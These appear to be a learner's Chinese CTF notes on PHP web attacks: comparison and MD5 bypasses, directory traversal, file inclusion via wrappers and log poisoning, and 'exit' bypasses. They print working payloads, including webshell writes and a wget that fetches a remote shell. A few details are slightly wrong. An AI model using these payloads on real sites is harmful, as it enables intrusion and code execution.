就是刚接触Web的水平,大佬们可以离开了,怕咱太菜了,大佬们看不下去了(
这篇不算博客,主要是给我自己做笔记用的,不会考虑任何排版和分类,我自己看得懂就行,而且很多都是抄的,各位自己搜一下就知道我抄的哪篇了(
PHP
1. 各种比较(强弱比较,其它比较函数和方法)
PHP中的弱比较使用的是
==
,要求参数值相同,若两个参数数据类型不同,会尝试将其中一个转换为另一个数据的类型
e.g.1
2
3
4
5
6
7
8
9
10
11
12
13
14
15// 字符串以数字开头时,以开头数字(到字母出现截止)作为转换结果;开头不是数字的字符串或空(null),则转换为0
'12'==12 //true
'12abc'==12 //true
'adm2n'==0 //true
// 布尔值true和任意字符串都相等,除了0
'way'==true //true
'false'==true //true
234==true //true
0==false //true
// 当字符串被当作一个数值来处理时,如果该字符串没有包含’.’,‘e’,'E’并且其数值在整形的范围之内,该字符串作为int来取值,其他所有情况下都被作为float来取值,并且字符串开始部分决定它的取值,开始部分为数字,则其值就是开始的数字,否则,其值为0
// 因此当hash开头为0e后全为数字的话,进行比较时就会将其当做科学计数法来计算,用计算出的结果来进行比较
md5($str1)=0e420233178946742799316739797882
md5($str2) == '0' //true一般的绕过就是像上面举的例子一样,让两个数据值一样就行
这里添加一些MD5的值开头是0e的字符串:
1
2
3
4
5
6
7
8240610708:0e462097431906509019562988736854
QLTHNDT:0e405967825401955372549139051580
QNKCDZO:0e830400451993494058024219903391
PJNPDWY:0e291529052894702774557631701704
NWWKITQ:0e763082070976038347657360817689
NOOPCJF:0e818888003657176127862245791911
MMHUWUV:0e701732711630150438129209816536
MAUXXQC:0e478478466848439040434801845361重要!:字符串
0e215962017
的MD5值为0e291242476940776845150308577824
,能够满足$value == md5($value)
!!!Extra: 字符串
ffifdyop
在经过MD5加密之后得到的Hex转字符串之后会变成以'or'6
开头的字符串,从而成为一个“万用密码”(个人感觉好像就是SQL注入)PHP中强比较使用的是
===
,要求参数不仅值相同,类型也必须相同才返回true
一般强比较没有很好的绕过方法,但是如果存在md5($str1) === md5($str2)
的时候,我们就可以找到一些不相同但是MD5值相同的字符串进行绕过,下面给出一些符合条件的字符串对:1
2
3
4
5
6
7// Pair 1
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
// Pair 2
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2上面的方法是强碰撞,可以用于传入的参数必须是字符串的强比较,比如下面的例子:
1
2
3if((string)$_POST['a']!==(string)$_POST['b'] && md5($_POST['a'])===md5($_POST['b'])){
die("success!");
}而如果参数不要求是字符串,比如下面的例子:
1
2
3if($_POST['a']!==$_POST['b']&& md5($_POST['a'])===md5($_POST['b'])){
die("success!");
}那么我们可以传入两个数组,这样
md5()
不会报错,返回值是null
,而强比较中null===null
返回值是true
PHP中存在一个字符串比对的函数
strcmp($str1, $str2)
,返回值如下:
- $str1 === $str2 → 0
- $str1 < $str2 → <0
- $str1 > $str2 → >0
如果两个字符串不同等,但是字符串长度相同,就比较从哪一位开始不同的,然后按照ASCII码比较那一位的大小,但是当参数是数字或者数组的时候,返回值就是null
switch()
方法也是可以绕过的,方法类似弱比较的绕过,因为switch()
会将参数转为int值intval()
方法会获取变量的整数值,但是它也会自动获取数字,直到遇到字母为止,同时该方法不可用于object,否则会返回E_NOTICE
错误并返回1,下面是一个绕过的例子:
1 | $num=2e4 |
is_numeric()
函数用于判断参数是否是数字/数字字符串,但是存在2种绕过方式,一种是利用空字符,另一种是利用Hex绕过,因为这个函数认为Hex也是数字
比如说:
1 | $num=$_GET['num']; |
我们可以利用空字符绕过:
1 | %001 or 1%00 or 1%20 |
这样is_numeric()
就不认为参数是数字,后面的弱比较看上面就行了
对于Hex的绕过,一般可以用于SQL注入,比如:
1 | // 作用:判断参数s是否为数字,是则返回数字,不是则返回0,然后带入数据库查询 |
如果我们传入字符串”1 or 1”的Hex,也就是0x31206f722031
的话,就可能导致SQL注入
2. 文件包含
有的时候服务端会让用户选择包含的文件,但是开发人员没有对要包含的文件进行保护,最后导致攻击者通过修改文件的位置让后台执行任意文件
常用的PHP文件包含函数有下面几种:
require()
:找不到被包含的文件会产生致命错误,并停止脚本运行include()
:找不到被包含的文件只会产生警告,脚本继续执行require_once()
:同require()
,但如果该文件代码已经被包含,则不会再次包含include_once()
:同include()
,但如果该文件代码已经被包含,则不会再次包含
include()
函数所包含的文件只要有PHP代码,都会被解析出来,无视文件类型
2.1 本地文件包含(LFI)
能够打开并包含本地文件的漏洞被称为本地文件包含漏洞,比如下面的代码:
1 |
|
通过这个include()
,我们能够读取一些PHP文件,但我们同时可以读取一些敏感文件,比如假如服务端环境是Windows,那么我们可以读取诸如system.ini
这样的文件,可以通过绝对路径和相对路径读取,也就是下面的两种URL:
1 | 127.0.0.1/include.php?filename=C:\Windows\system.ini |
2.1.1 常见的敏感文件
- Windows系统
- C:\boot.ini:查看系统版本
- C:\Windows\system32\inetsrv\MetaBase.xml:IIS配置文件
- C:\Windows\repair\sam:存储Windows系统初次安装的密码
- C:\ProgramFiles\mysql\my.ini:Mysql配置
- C:\ProgramFiles\mysql\data\mysql\user.MYD:MySQL root密码
- C:\Windows\php.ini:php配置信息
- Linux/Unix系统
- /etc/password:账户信息
- /etc/shadow:账户密码信息
- /usr/local/app/apache2/conf/httpd.conf:Apache2默认配置文件
- /usr/local/app/apache2/conf/extra/httpd-vhost.conf:虚拟网站配置
- /usr/local/app/php5/lib/php.ini:PHP相关配置
- /etc/httpd/conf/httpd.conf:Apache配置文件
- /etc/my.conf :mysql配置文件
2.1.2 目录穿越漏洞
我确实不清楚这个该放哪里,反正刚刚提及了,干脆这里就写了好了(好困,不想动脑)
目录穿越漏洞可能导致攻击者读取运行应用程序的服务器的任意文件,而且有些情况攻击者可能能在服务器写入任意文件
通常出现在前端通过文件名请求服务器上的文件的时候,大多情况使用的方法是GET,比如GET /image?filename=2.png
这样的情况,这就导致攻击者可以读取服务器上的任意文件
- 最简单的情况就直接使用
../
返回上一级,比如图像映射在/var/www/images
里,那么就GET filename=../../../etc/passwd
就可以了 - 有的时候网站会过滤
../
这样的关键字,所以我们可以采用绝对路径GET filename=/etc/passwd
,不使用../
返回上一级目录遍历 - 有的时候网站会把
../
替换为空,所以可以使用复写操作:GET filename=....//....//....//etc/passwd
,在经过替换后就和情况1里面的一样了 - 有的时候还可以使用URL编码绕过服务器对
.
和/
的检测,使用%2e
代替.
,%2f
代替/
,%25
代替%
,一般代替%
是因为双重URL编码,比如这样:GET filename=%252e%252e%252f%252e%252e%252f%252e%252e%252e%252fetc%252fpasswd
就是利用双重URL编码绕过检测的一个情况 - 有的时候前端获取文件的时候会检查所请求的路径是否是以一个固定的路径开头,比如固定开头为
/var/www/images
,此时我们可以讲绝对路径配合../
进行绕过,比如GET filename=/var/www/iamges/../../../etc/passwd
,这样我们就可以绕过检测 - 更常见的情况,前端对请求的文件类型进行了限制,比如要求请求的文件后缀一定是诸如
.png
啊.jpg
啊这样的图片,这时我们可以利用%00
进行截断,比如GET filename=../../../etc/passwd%00.jpg
,此时我们就绕过了文件后缀检测
2.1.3 LFI利用方法
以下测试代码均为下面的代码:
1 |
|
allow_url_fopen
默认为on,allow_url_include
默认为off
2.1.3.1 使用PHP伪协议
2.1.3.1.1 php://input
协议
使用条件见下文有关php://
协议的内容
使用方法:
1 | index.php?file=php://input |
2.1.3.1.2 php://filter
协议
使用条件同样见下文
使用方法:
1 | index.php?file=php://filter/read=convert.base64-encode/resource=index.php |
下面的方法少了read
等关键字,但是作用和上面一样,可能能绕过某些waf
1 | index.php?file=php://filter/convert.base64-encode/resource=index.php |
2.1.3.1.3 phar://
协议
使用条件为PHP版本>=5.3.0
使用方法为:首先将payload写入一个shell.txt
里面,然后打包成压缩包(假如名字为)test.zip
,然后上传,之后使用phar://
指定绝对路径或相对路径即可
1 | // Absolute path |
2.1.3.1.4 zip://
协议
利用条件和姿势同phar://
协议,但是必须指定绝对路径,同时将#
编码为%23
,然后填上压缩包内的文件
1 | index.php?file=zip://D:\phpStudy\WWW\fileinclude\test.zip%23phpinfo.txt |
使用相对路径会包含失败
2.1.3.1.5 data://
协议
利用条件同见下文
使用方法如下:
1 | index.php?file=data://text/plain,<?php phpinfo();?> |
或者使用Base64编码:
1 | index.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2B |
其中对+
进行了URL编码
2.1.3.2 包含session
想要利用session,首先需要知道session文件的路径,且其中内容部分可控
PHP的session文件保存路径可以在phpinfo的session.save_path
看到,以下是一些常见的php-session存放位置:
- /var/lib/php/sess_PHPSESSID
- /var/lib/php/sess_PHPSESSID
- /tmp/sess_PHPSESSID
- /tmp/sessions/sess_PHPSESSID
session的文件名格式为sess_[phpsessid]
,其中的phpsessid
能在发送的请求的cookie字段看到
有的时候可以先包含进session文件,然后根据里面的字段发现可控的变量,并利用其写入payload,然后再次包含session文件从而执行PHP代码
2.1.3.3 包含日志
2.1.3.3.1 访问日志
要求知道服务器日志的存储路径,且日志文件可读
很多时候web服务器会把请求写入日志文件中,此处以Apache为例,它会在用户发起请求的时候,将请求写入access.log
,发生错误的时候写入error.log
,默认情况下日志保存的路径是/var/log/apache2
但是如果直接发起请求,则会导致一些符号被编码使得包含无法被正确解析,此时可以使用Burp截断数据包后修改并发送
有的时候log的地址会被修改,需要读取相应的配置文件后再进行包含,比如Apache的CustomLog决定位置/var/www/html/log.sh
2.1.3.3.2 SSH log
同样需要知道ssh-log的位置,且日志文件可读,默认位置在/var/log/auth.log
使用方法就是用ssh连接靶机:
1 | ssh '<?php phpinfo(); ?>'@remotehost |
之后输入密码就随便输入,这样就可以在remotehost的ssh-log中写入PHP代码,然后进行文件包含即可
2.1.3.3.3 包含environ
要求PHP以cgi方式运行,这样environ
才会保持UA头,同时要求environ
文件位置已知,同时文件可读
原理是/proc/self/environ
会保存User-Agent
头,因此如果在里面插入PHP代码,那么PHP代码会被写入到environ
中,之后再包含environ
就可以了
修改的User-Agent
格式可以是这样的:
1 | system('wget http://hack-bay.com/Shells/gny.txt -O shell.php'); |
中间的gny.txt
是一个远程的脚本,这样的话服务器就会将远程的脚本下载到服务器里面并且保存在网页目录里面
最后我们打开shell:
1 | www.website.com/shell.php |
如果成功的话,这个网页就可以执行各种命令了
2.1.3.3.4 包含fd
类似于上面的包含environ
,我们可以在referer
头添加PHP代码,但是我们需要爆破/proc/self/fd/NUM
里的NUM去找到正确的文件描述符,以获取到指向日志的软链接
其实就是这个意思:
1 | include("/proc/self/fd/NUM") == include("Log Location") |
找到之后就可以实现日志包含了
2.1.3.4 包含临时文件
PHP中上传文件的时候会创建临时文件,Linux中会存放于/tmp
目录下,而在Windows里存放在C://Windows/temp
目录下,而在临时文件被删除之前,可以利用竞争包含对应的临时文件
要获取包含的文件名,一共有两种方法,一是暴力破解,因为Linux下使用的随机函数有缺陷,而Windows下的临时文件只有65535种不同的文件名,因此爆破可行
还有种方法是配合phpinfo
页面的php variables
,直接获取上传文件的路径和临时文件名,从而直接包含
此处复制粘贴一下这篇文章(XMAN夏令营-2017-babyweb-writeup | Chybeta)的脚本(咱也就只会复制粘贴了QAQ)
1 | import requests |
2.1.4 LFI的绕过方法
2.1.4.1 指定前缀
假设包含的文件固定了前缀目录,比如:
1 |
|
我们便可以利用目录穿越进行绕过,比如:
1 | include.php?file=../../log/test.txt |
最后访问的就是/var/www/html/../../log/test.txt
,也就是/var/log/test.txt
当然有的时候../
会被过滤,所以我们可能需要用URL编码进行绕过,有的时候可能还需要二次编码
../
还有两种绕过方法,一个是..%C0%AF
,一个是%C0%AE%C0%AE/
,前者是由于UTF-8和Unicode之间的转码问题,详细可以查看这个解答:appsec - Why does Directory traversal attack %C0%AF work? - Information Security Stack Exchange,后者是在Java种会把%C0%AE
解析成\uC0AE
,转义后就是ASCII的.
,后者同时可以用于Apache Tomcat的目录穿越
与此同时,..\
还可以使用..%C1%9C
进行绕过
2.1.4.2 指定后缀
有的时候包含的文件还会指定一个目录,比如:
1 |
|
在远程文件包含里面可以使用两种方法进行绕过,一种是query,另一种是fragment,实际上就是利用的URL的格式:
1 | protocol://hostname[:port]/path/[;parameters][?query]#fragment |
让后缀解析为query或者fragment从而达到绕过的效果:
1 | // Query bypass |
或者我们使用一些其它的伪协议,比如zip://
和phar://
伪协议,使用方法后面有写
或者我们使用长度截断,因为Linux中目录字符串最多只支持4096字节,而Windows下是256字节,因此我们可以不断重复./
,这样我们就能使得被指定的后缀因为字符串长度达到最大值而被丢弃掉:
1 | index.php?file=././././(省略)./shell.txt |
而当PHP版本<5.3.4的时候,我们可以使用0字节进行绕过:
1 | index.php?file=phpinfo.txt%00 |
2.2 远程文件包含(RFI)
利用条件要求allow_url_include
和allow_url_fopen
均为on,如此的话include/require
函数可以加载远程文件,使用方法就类似下文的http://
伪协议的使用,不过要求被包含的变量前没有目录的限制,而且攻击文件不可以是PHP文件,否则系统会警告找不到被包含文件(攻击文件就是你已经写入服务器内的shell文件)
3. PHP伪协议
PHP支持的伪协议有以下这些:
1 | file:// — 访问本地文件系统 |
一般用于命令执行的有下面这些伪协议:
3.1 file://
协议
该协议为PHP使用的默认封装协议,一般用于读取本地文件,且不受allow_url_fopen
和allow_url_include
的影响
一般使用有3种方法:
file://[文件绝对路径与文件名]
1
http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt
文件相对路径与文件名
1
http://127.0.0.1/include.php?file=./phpinfo.txt
http://[网络路径和文件名]
1
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt
3.2 php://
协议
用于访问各个输入/输出流,常用的是php://filter
和php://input
,前者用于读取源码,后者用于执行PHP代码
该伪协议不受allow_url_fopen
影响,但是对于php://input
,php://stdin
,php://memory
和php://temp
需要allow_url_include
为on,其它的不受影响
以下是一些php://
协议:
协议 | 作用 |
---|---|
php://input |
可以访问请求的原始数据中的只读流,POST请求中访问其data 部分,但当enctype="multipart/form-data" 时该协议无效 |
php://output |
只写的数据流,允许以print 和echo 一样的方式写入到输出缓冲区 |
php://fd |
(版本>=5.3.6)允许直接访问指定的文件描述符 |
php://memory ,php://temp |
(版本>=5.1.0)一个类似文件包装器的数据流,允许读写临时数据。两者的唯一区别是 php://memory 总是把数据储存在内存中,而 php://temp 会在内存量达到预定义的限制后(默认是 2MB )存入临时文件中。临时文件位置的决定和 sys_get_temp_dir() 的方式一致 |
php://filter |
(版本>=5.0.0)一种元封装器,设计用于数据流打开时的筛选过滤应用。对于一体式(all-in-one) 的文件函数非常有用,类似 readfile() 、file() 和 file_get_contents() ,在数据流内容读取之前没有机会应用其他过滤器 |
3.2.1 php://filter
协议
php://filter
可以获取指定文件的源码,当其与包含函数结合的时候,php://filter
流会被当作PHP文件执行,故一般对其进行编码,不让其执行,从而导致任意文件读取
该协议参数如下:
名称 | 描述 |
---|---|
resource=<要过滤的数据流> |
必须存在,指定要筛选过滤的数据流 |
read=<读链的筛选列表> |
可选,可设定一个或多个过滤器名称,用管道符` |
write=<写链的筛选列表> |
可选,可设定一个或多个过滤器名称,用管道符` |
<; 两个链的筛选列表> |
任何没有以read= 或write= 为前缀的筛选器列表会视情况应用于读或写链 |
常用的过滤器如下:
字符串过滤器 | 作用 |
---|---|
string.rot13 |
等同于str_rot13() ,ROT13 |
string.toupper |
等同于strtoupper() ,转大写字母 |
string.tolower |
等同于strtolower() ,转小写字母 |
string.strip_tags |
等同于strip_tags() ,去除HTML、PHP语言标签 |
转换过滤器 | 作用 |
---|---|
convert.base64-encode ,convert.base64-decode |
Base64编码解码 |
convert.quoted-printable-encode , convert.quoted-printable-decode |
Quoted-Printable编码解码 |
压缩过滤器 | 作用 |
---|---|
zlib.deflate , zlib.inflate |
在本地文件系统中创建 gzip 兼容文件的方法,但不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分 |
bzip2.compress , bzip2.decompress |
同上,在本地文件系统中创建 bz2 兼容文件的方法 |
加密过滤器 | 作用 |
---|---|
mcrypt.* |
libmcrypt对称加密 |
mdecrypt.* |
libmcrypt对称解密 |
使用样例如下:
php://filter/read=convert.base64-encode/resource=[filename]
(对于PHP文件需要进行编码防止其以PHP代码执行导致无回显或回显不是源码)php://input + [POST DATA]
:使用php://input
协议后在POST里的data输入PHP代码即可执行该代码,可以利用其写入一句话木马1
2
3http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php fputs(fopen('trojan.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
3.3 死亡exit的绕过
死亡exit指在进行写入PHP文件操作时,执行了下面的代码:
1 | $content = '<?php exit(); ?>'; |
假如你写入的是一个一句话木马,最后文件的内容是这样的:
1 | exit(); |
它在开头增加了exit过程,这样我们即使成功写入一句话也无法执行PHP代码,一般在缓存、配置文件等不允许用户直接访问的文件当中存在死亡exit
3.3.1 base64-decode
绕过
由于Base64编码只包含A-Za-z0-9+/
一共64个可打印字符(=
是作为一个Padding填充空位使用的,可以表结束),而PHP遇到不可解码的字符的时候会选择性的跳过,因此假设我们使用的是上面的例子,当我们使用php://filter/convert.base64=decode
的时候,<?php exit(); >
最后留下来的也就只有phpexit
一共7个字符,而Base64解码是4字节转3字节,因此我们可以在构造的$content
开头随意添加一个字符,从而使得exit被化解,而$content
后面的则是我们的payload的Base64,这样我们就成功绕过了死亡exit
1 | ?filename=php://filter/convert.base64-decode/resource=1.php&content=aPD9waHAgZXZhbCgkX1BPU1RbYV0pOw== |
3.3.2 string.rot13
绕过
利用string.rot13
编解码都是自身完成的这一特性去除exit,原先的<?php exit();
编码后会变成<?cuc rkvg();
,但是该绕过方法要求不开启short_open_tag
,即关闭<? PHP语句 ?>
缩写形式
1 | ?filename=php://filter/write=string.rot13/resource=2.php&content=<?cuc riny($_CBFG[n]); |
3.3.3 string.strip_tags
配合Base64绕过
strip_tags
会从字符串中去掉所有的空字符、HTML标记和PHP标记然后返回结果,比如:
1 | echo strip_tags("He<?php exit();?>ck"); |
那么我们可以利用这个去掉死亡exit,但是这样我们的Payload就不能以PHP标记的形式上传了,否则也会被去掉的
那么我们可以利用上面的base64-decode
进行绕过,利用管道符|
分隔多个过滤器我们能够使用多个过滤器
1 | ?filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=3.php&content=?>PD9waHAgZXZhbCgkX1BPU1RbYV0pOw== |
3.3.4 .htaccess
的预包含利用(待学习)
1 | ?filename=php://filter/write=string.strip_tags/resource=.htaccess&content=?>php_value auto_prepend_file%20"/flag" |
3.3.5 bypass相同变量
对于下面的源码:
1 |
|
其写入的文件名和文件部分内容一致,利用难度增加,但是最终目的依旧是去除开头的<?php exit();
3.3.5.1 Base64绕过
假如我们简单利用上面正常绕过的思路,可以得到下面的payload:
1 | content=php://filter/convert.base64-decode/resource=PD9waHAgcGhwaW5mbygpOz8+.php |
所以我们就成功分解掉了exit代码,但是结果却是文件创建成功,但无法生成content,因为Base64里面=
作填充,可以表示结束,而在=
之后是不允许存在其它字符的,否则报错
这里的写入content失败也正是这个原因,内容里面的resource=
之后存在字符导致写入失败,所以我们想一个办法去掉这个等号就行,比如利用上面的strip_tags
过滤器:
1 | content=php://filter/string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B.php |
所以我们现在确实可以生成文件并写入shell了,但是我们使用浏览器会出现访问不到的问题,这个问题可以使用伪目录变相绕过去:
1 | content=php://filter/string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B/../shell.php |
这样我们进入一个不存在的目录后退出来然后生成了一个shell.php,这样就可以以正常的文件名访问了
上面的做法是先闭合死亡exit然后用过滤器过滤标签,最后Base64解码,下面提供一种先解决Base64中=
的问题,然后对死亡exit直接Base64解码从而达到分解代码的作用的payload:
1 | php://filter/<?|string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B/../shell.php |
3.3.5.2 string.rot13
绕过
考虑到上面的=
引出的问题,我们可以利用ROT13这种不受限于这种字符的编码进行绕过:
1 | content=php://filter/write=string.rot13|<?cuc cucvasb();?>|/resource=shell.php |
原理其实和上面正常情况的ROT13绕过一样
3.3.5.3 convert.iconv.*
绕过
我们可以利用iconv
字符编码转换进行绕过,其实就类似上面的Base64解码和ROT13解码,就是让系统无法识别死亡exit代码而我们的payload能正常存储解析
3.3.5.3.1 UCS-2绕过
通过UCS-2方式,我们将我们的payload进行每2位一次翻转,所以我们要求payload必须是UCS-2中2的倍数(没懂,指的是payload长度必须是2的倍数吗?),不然多余的不满足的字符串会被截断,导致payload不完整,无法正常使用
首先先对payload进行编码:
1 | echo iconv("UCS-2LE","UCS-2BE",'<?php @eval($_POST[ab]);?>'); |
payload如下,其中的BE和LE分别表示大端和小端,读取是从大端到小端进行读取:
1 | php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$OPTSa[]b;)>?/resource=shell.php |
最后写入的内容长这样:
1 | ?<hp pxeti)(p;ph/:f/liet/rocvnre.tcino.vCU-SL2.ECU-SB2|Eeval($_POST[ab]); r/seuocr=ehsle.lhp @ |
3.3.5.3.2 UCS-4绕过
和上面的UCS-2类似,只不过是进行每4位一次翻转,payload如下:
1 | content=php://filter/convert.iconv.UCS-4LE.UCS-4BE|hp?<e@ p(lavOP_$a[TS]dcb>?;)/resource=shell.php |
最后写入的内容长这样:
1 | hp?<xe p)(tiphp;f//:etlioc/rrevnci.t.vno-SCU.EL4-SCU|EB4<?php @eval($_POST[abcd]);?>ser/cruohs=e.lle |
3.3.5.3.3 UTF-8&UTF-7绕过
由于我们对=
进行UTF-7编码后得到了+AD0-
这样的结果,这样我们就能绕过=
的限制了:我们先将整个文件内容用UTF-7编码,然后再Base64解码就可以了(因为+
经过UTF-7编码后为+-
,不影响payload的解码)
1 | content=php://filter/write=aaaaXDw/cGhwIEBldmFsKCRfUE9TVFthXSk7ID8+|convert.iconv.utf-8.utf-7|convert.base64-decode/resource=shell.php |
只是要注意你的payload和死亡exit拼接后经过UTF-7编码后payload前面一定要是4的整数倍个字符,否则会出问题,无法正常使用的
3.3.6 杂糅代码注释
有的时候我们会遇到源码是这样的题目:
1 |
|
这样虽然不是死亡exit了,但是可能后面的杂糅代码会阻碍我们的步伐,因此我们需要将后面的代码注释或者分解掉,一般会在禁止有特殊起始符和结束符号的语言里面出现
常见的考点是利用.htaccess
进行操作,但是.htaccess
对文件内容的格式非常敏感,有杂糅的字符就会出错,所以我们只能注释掉杂糅代码
对于换行符直接进行\
注释即可,然后嵌入#
注释符进行单行注释:
1 | ?filename=.htaccess&content=php_value%20auto_prepend_file%20/var/www/html/flag%0A%23 |
但是要注意写入的.htaccess文件格式一定不能出问题,否则出发报错的话题目就会锁死
3.4 data://
协议
自PHP>=5.2.0起,可以使用data://
数据流封装器来传递相应格式的数据,通常可以用来执行PHP代码,但是要求allow_url_fopen
和allow_url_include
均为on
使用方法如下:
1 | http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?> |
1 | http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b |
当代码中使用file_get_contents()
读取数据,但是想要传入的数据只是一个字符串的时候,可以使用data://
伪协议进行绕过
3.5 zip://
,bzip2://
和zlib://
协议
三个协议均为压缩流,可以访问压缩文件中的子文件,重点是不需要指定后缀名,可以修改为任意的后缀,比如.jpg
,.gif
等
使用方法如下:
压缩
phpinfo.txt
为phpinfo.zip
,然后将压缩包后缀更改为.jpg
然后上传1
http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt
压缩
phpinfo.txt
为phpinfo.bz2
后上传,有关后缀名的处理可以和上面类似,支持任意后缀名1
http://127.0.0.1/include.php?file=compress.bzip2://E:\phpStudy\PHPTutorial\WWW\phpinfo.bz2
压缩
phpinfo.txt
为phpinfo.gz
后上传,有关后缀名的处理可以和上面类似,支持任意后缀名1
http://127.0.0.1/include.php?file=compress.zlib://E:\phpStudy\PHPTutorial\WWW\phpinfo.gz
3.6 http://
,https://
协议
常规的URL形式,允许通过HTTP 1.0
的GET方法以只读访问文件或资源,CTF中常用于RFI,要求allow_url_fopen
和allow_url_include
均为on
使用方法如下:
1 | http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt |
3.7 phar://
协议
和zip://
协议类似,同样可以访问zip格式的压缩包的内容,这里只给出一个例子,因为phar://
利用的比较多的还是反序列化漏洞,之后再提及
1 | http://127.0.0.1/include.php?file=phar://E:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt |
4. 外部命令执行函数
有的时候我们需要使用到PHP执行外部命令的函数,以下提供4种方法
4.1 exec()
4.2 passthru()
4.3 system()
4.4 反撇号`和shell_exec()
5. PHP反序列化
5.1 POP链构造
构造POP链之前首先需要了解以下魔术方法会在什么情况下触发:
1 | __construct() //当一个对象创建时被调用 |
因此我们可以发现我们构造POP链的时候,链头一般是位于_wakeup()
方法或者_construct()
方法,而链尾可以去找那些地方可以执行命令,比如存在eval()
的函数,接下来再从链尾开始不断逆推直至抵达链头
Java
补充知识
想到啥写啥咯,我也不知道这部分放哪里,总不能再水一篇博客是吧(
1. 正则表达式 (Regular Expression)
我不会写教程,所以下面就简单举些例子,主要怕我哪天忘了不会了(
1.1 位置与边界匹配
1 | /cat/g => 匹配所有的cat,其中的g表示global,全局匹配 |
1.2 量词
1 | /yo+/gm => 匹配所有y*,其中*为1个或多个o |
1.3 分组和引用
1.3.1 分组替换
假如有一系列格式为yyyy:mm:dd
格式的日期,需要将格式更改为mm-dd-yyyy
,可以首先利用下面的Regex进行匹配:
1 | /(\d{4}):(\d{1,2}):(\d{1,2})/gm |
然后使用下面的格式进行替换:
1 | $2-$3-$1 |
其中下面的$1
表示第1个分组,即上面匹配的(\d{4})
,剩余的同理
1.3.2 非捕获分组
有的时候我们不希望分组被捕获,比如上面的例子,假如我们不希望月份分组被捕获,那么我们可以将月份的分组里面添加?:
表示该分组不捕获:
1 | /(\d{4}):(?:\d{1,2}):(\d{1,2})/gm |
这样$2
就是日期分组了
1.3.3 分组的引用
假如我们需要匹配字符串(假定输入为全小写字母),要求开头和结尾的字符一致,那么我们可以用下面的Regex进行匹配:
1 | /\b([a-z])[a-z]*\1\b/gm |
其中的\1
就是引用了第1个分组,也就是前面的([a-z])
1.4 前瞻和后顾
前瞻分为正向前瞻和负向前瞻,后顾也分为正向后顾和负向后顾,正向负向其实就和上面的大小写一样是一个范围取反的操作,下面就分别取两个例子解释前瞻和后顾:
1.4.1 正向前瞻&负向前瞻
假如我们有一系列数据,其中有诸如$114514
表示金额的数据,有诸如$a1d5g
这种表示变量的数据(假定只有数字就一定是金额,否则就是变量)
假如我们希望匹配所有表示金额的数据里开头的$
字符(只匹配满足条件的单个$
字符),那么我们首先匹配表示金额的数据:
1 | /\$\d+/gm |
接下来就利用正向前瞻匹配所有满足情况的$
,首先我们将数字分组,然后再在分组内开头添加?=
表示正向前瞻:
1 | /\$(?=\d+)/gm |
这样我们就成功匹配了所有表示金额数据中开头的$
字符
如果我们希望匹配的是所有变量的数据开头的$
字符,那么我们可以利用负向前瞻实现:
1 | /\$(?!\d+)/gm |
就是把=
换成了!
,相等改成了不等,很好理解吧~
1.4.2 正向后顾&负向后顾
前瞻是匹配某些字符前面的内容,那么后顾自然是匹配某些字符后面的东西,还是上面的例子,但是这次我们希望匹配的是金额,那么我们就可以这样匹配:
1 | /(?<=\$)\d+/gm |
里面的?<=
就是正向后顾,这样就能实现上面的操作,例子的具体解释的话就是如果前面是$
字符而后面是数字,就匹配数字
同理,我们将=
改成!
就变成了负向后顾:
1 | /(?<!\$)\d+/gm |
这样只要开头不是$
字符而且后面是数字,就匹配数字,比如$1000
,匹配到的就是000
,因为它会把$1
看作一个满足条件的开头,所以如果希望排除这种情况我们就需要利用上面提到的边界字符\b
进行限制了:
1 | /(?<!\$)\b\d+\b/gm |
1.5 版本问题
目前的正则表达式有不同的版本:POSIX基本的BRE版本,POSIX扩展的ERE版本,Perl兼容的PCRE,还有Python、Java等自支持的其他版本,不同版本有不同特性,可能会和上面的例子有所不符,比如当前使用的Regex版本不支持对应表达式的特性
参考文章/网页
php比较绕过(强比较“===”/弱比较“==“)_php强等于绕过-CSDN博客
Journey from LFI to RCE with /proc/self/fd/ !!! | by Ryan | Medium
目录穿越/遍历漏洞 – 学习笔记_目录遍历漏洞描述-CSDN博客
file_put_content和死亡·杂糅代码之缘 - 先知社区 (aliyun.com)
探索php伪协议以及死亡绕过 - FreeBuf网络安全行业门户
PHP伪协议总结 - 个人文章 - SegmentFault 思否
[SWPUCTF 2021 新生赛]easyrce-解题思路-CSDN博客
